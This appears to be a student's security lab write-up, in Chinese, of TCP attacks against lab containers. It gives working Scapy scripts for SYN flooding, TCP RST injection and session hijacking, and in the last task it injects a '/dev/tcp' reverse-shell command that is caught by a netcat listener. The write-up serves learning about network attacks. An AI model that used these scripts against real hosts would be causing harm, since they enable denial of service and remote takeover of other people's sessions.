

Task1 SYN

1.1 synflooding.py

```
from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits

ip=IP(dst='10.9.0.5')
tcp=TCP(dport=23,flags='S')
pkt=ip/tcp
while True:
    pkt[IP].src=str(IPv4Address(getrandbits(32)))
    pkt[TCP].sport = getrandbits(16)
    pkt[TCP].seq = getrandbits(32)
    send(pkt, verbose = 0)
```

以容器10.9.0.5的23端口作为目标，通过telnet判断是否成功。

第一次尝试，容器中通过netstat -nat可以看到23端口收到了很多的SYN包，但是telnet远程登录还是成功了。

改进1：提高受害者的tcp重传阈值

```
sysctl -w net.ipv4.tcp_synack_retries=10
```

改进2：减小队列中能容纳的syn包的数量

```
sysctl -w net.ipv4.tcp_max_syn_backlog=80
```

在容器中清除受害者与攻击者的成功连接记录：

```
ip tcp_metrics show      #查看
ip tcp_metrics flush     #刷新
```

再次发起攻击，等待一分钟后再尝试登录，无法连接成功：

```
[11/28/22]seed@VM:~/.../lab10$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
5804535e856d login: ^CConnection closed by foreign host.
[11/28/22]seed@VM:~/.../lab10$ telnet 10.9.0.5
Trying 10.9.0.5...
^C
[11/28/22]seed@VM:~/.../lab10$ telnet 10.9.0.5
Trying 10.9.0.5...
█
```

查看受害者的队列中有多少个半连接：(前面设置的队列大小的四分之三用于存放半连接，三分之一用来存放已成功连接，因此有效容量为 $80 \times 3/4 = 60$)

```
netstat -tna | grep SYN_RECV | wc -l
```

可以看出队列已满

```
# netstat -tna | grep SYN_RECV | wc -l
61
# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.11:38365        0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:23             92.225.120.145:36331    SYN_RECV
tcp        0      0 10.9.0.5:23             139.110.5.57:49059      SYN_RECV
tcp        0      0 10.9.0.5:23             199.77.156.33:50116     SYN_RECV
```

1.2 synflooding.c

首先将受害者的相关参数恢复为修改前。

```
sysctl -w net.ipv4.tcp_synack_retries=5
sysctl -w net.ipv4.tcp_max_syn_backlog=128
```

编译执行synflood.c，等待一分钟后尝试telnet连接受害者，无法成功登录，查看半连接数量 $97 > (128 * 0.75 = 96)$:

```
# netstat -tna | grep SYN_RECV | wc -l
97
#
^C
[11/28/22]seed@VM:~/.../lab10$ telnet 10.9.0.5
Trying 10.9.0.5...
□
```

1.3 syncookie

开启syncookie保护机制，此机制能够检测syn洪水攻击

```
sysctl -w net.ipv4.tcp_syncookies=1
```

开启syncookie后再次攻击，攻击无效，远程登录能成功。查看此时设置的队列值tcp_max_syn_backlog无效，因为连接并没有存在队列中。[tcp_syncookies 半连接 - silyvin - 博客园 \(cnblogs.com\)](#)

```
# netstat -tna | grep SYN_RECV | wc -l
128
#
[11/28/22]seed@VM:~/.../lab10$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
sUbuntu 20.04.1 LTS
5804535e856d login: s□
```

Task2 RST

开启wireshark监听telnet包，用10.9.0.5向10.9.0.6发起telnet远程连接，成功登录后，查看最后一个telnet数据包，从中获取源IP、目的IP、源端口、目的端口、next seq等重要信息：

93	2022-11-28 03:5...	10.9.0.6	10.9.0.5	TELNET	66 Telnet Data ...
94	2022-11-28 03:5...	10.9.0.5	10.9.0.6	TCP	66 43322 → 23 [ACK] Seq=4290972503 Ack=2592535261
95	2022-11-28 03:5...	10.9.0.6	10.9.0.5	TELNET	87 Telnet Data ...
96	2022-11-28 03:5...	10.9.0.5	10.9.0.6	TCP	66 43322 → 23 [ACK] Seq=4290972503 Ack=2592535261
101	2022-11-28 04:0...	10.9.0.6	10.9.0.5	TCP	54 23 → 43322 [RST] Seq=2592535282 Win=1048576

▶ Ethernet II, Src: 02:42:0a:09:00:06 (02:42:0a:09:00:06), Dst: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
▶ Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5
▼ Transmission Control Protocol, Src Port: 23, Dst Port: 43322, Seq: 2592535261, Ack: 4290972503, Len: 21
Source Port: 23
Destination Port: 43322
[Stream index: 0]
[TCP Segment Len: 21]
Sequence number: 2592535261
[Next sequence number: 2592535282]
Acknowledgment number: 4290972503

根据这些信息构造RST包，伪装成上面那个最后一个telnet包的下一个包：

```
from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits

ip=IP(src='10.9.0.6',dst='10.9.0.5')
tcp=TCP(sport=23,dport=43322,flags='R',seq=2592535282)
pkt=ip/tcp
ls(pkt)
send(pkt, verbose = 0)
```

执行代码后查看连接已被中断，wireshark也捕获到了对应的RST包：

```
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
```

```
To restore this content, you can run the 'unminimize' command.
```

```
Last login: Mon Nov 28 08:51:39 UTC 2022 from victim-10.9.0.5.net-10.9.0.6
n pts/l
root@4c67e17be651:~# Connection closed by foreign host.
#
```

Task3 session.py

从远端(10.9.0.6)发来的最后一个telnet包中获得重要信息

69	2022-11-28 05:0...	10.9.0.5	10.9.0.6	TCP	66 43386 → 23 [ACK] Seq=1725633516 Ack=1288303463
70	2022-11-28 05:0...	10.9.0.6	10.9.0.5	TELNET	87 Telnet Data ...
71	2022-11-28 05:0...	10.9.0.5	10.9.0.6	TCP	66 43386 → 23 [ACK] Seq=1725633516 Ack=1288303484

▶ Frame 70: 87 bytes on wire (696 bits), 87 bytes captured (696 bits) on interface br-a2ed327d9f61, id 0
 ▶ Ethernet II, Src: 02:42:0a:09:00:06 (02:42:0a:09:00:06), Dst: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
 ▶ Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5
 ▶ Transmission Control Protocol, Src Port: 23, Dst Port: 43386, Seq: 1288303463, Ack: 1725633516, Len: 21

Source Port: 23
 Destination Port: 43386
 [Stream index: 1]
 [TCP Segment Len: 21]
 Sequence number: 1288303463
 [Next sequence number: 1288303484]
 Acknowledgment number: 1725633516
 1000 = Header Length: 32 bytes (8)
 Flags: 0x018 (PSH ACK)

攻击者假装是10.9.0.5在与10.9.0.6通信，seq和ack与上图中的交换，data中保存想要执行的命令，注意以\n\n结尾，\n表示回车执行，\n表示字符串结尾

```

from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits

ip=IP(src='10.9.0.5',dst='10.9.0.6')
tcp=TCP(sport=43386,dport=23,flags='A',seq=1725633516,ack=1288303463)
data='echo hackaaa\n\n'
pkt=ip/tcp/data
ls(pkt)
send(pkt, verbose = 0)

```

wireshark抓到攻击者发出的会话劫持包，并成功接收到来自10.9.0.6的对应命令的回复，此时10.9.0.5的远程连接终端已经锁死。

83	2022-11-28 05:0...	10.9.0.5	10.9.0.6	TELNET	68 Telnet Data ...
84	2022-11-28 05:0...	10.9.0.6	10.9.0.5	TCP	66 23 → 43386 [ACK] Seq=1288303484 Ack=1725633516
85	2022-11-28 05:0...	10.9.0.6	10.9.0.5	TELNET	110 Telnet Data ...

Wireshark · Packet 85 · br-a2ed327d9f61

[Calculated window size: 65152]
 [Window size scaling factor: 128]
 Checksum: 0x146f [unverified]
 [Checksum Status: Unverified]
 Urgent pointer: 0
 Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
 ▶ [SEQ/ACK analysis]
 ▶ [Timestamps]
 TCP payload (44 bytes)

▶ Telnet
 Data: echo hackaaa\r\n
 Data: hackaaa\r\n
 Data: root@4c67e17be651:~#

[Next sequence number: 1725633516]
 Acknowledgment number: 1288303463
 0101 = Header Length: 20 bytes (8)
 Flags: 0x010 (ACK)
 Window size value: 8192
 [Calculated window size: 104]
 [Window size scaling factor: 128]
 Checksum: 0xf0be [unverified]
 [Checksum Status: Unverified]
 Urgent pointer: 0
 ▶ [SEQ/ACK analysis]
 ▶ [Timestamps]
 TCP payload (14 bytes)

▶ Telnet
 Data: echo hackaaa\n
 Data:

0000 02 42 0a 09 00 05 02 42 0a 09 00 06 08 00 45 10 .B...B.....E.
 0010 00 60 0a bd 40 00 40 06 1b af 0a 09 00 06 0a 09@.....
 0020 00 05 00 17 a9 7a 4c c9 f3 7c 66 db 13 fa 80 18zL...|f...
 0030 01 fd 14 f6 00 00 01 01 08 0a 18 33 a5 98 de c6 ...o.....3...
 0040 4e d6 65 63 68 6f 20 68 61 63 6b 61 61 61 0d 0a N echo h ackaaa..
 0050 68 61 63 6b 61 61 61 0d 0a 72 6f 6f 74 40 34 63 hackaaa..root@4c

Task4

大概过程与Task3类似，只是将传递的一条命令内容改为reverse shell。根据最后一个telnet包填充内容，代码：

```
ip=IP(src='10.9.0.5',dst='10.9.0.6')
tcp=TCP(sport=43414,dport=23,flags='A',seq=1895045313,ack=3264741626)
data='/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n\0'
pkt=ip/tcp/data
ls(pkt)
send(pkt, verbose = 0)
```

攻击机开启9090端口监听：

```
nc -l nv 9090
```

发送构造的包，成功获取到shell：

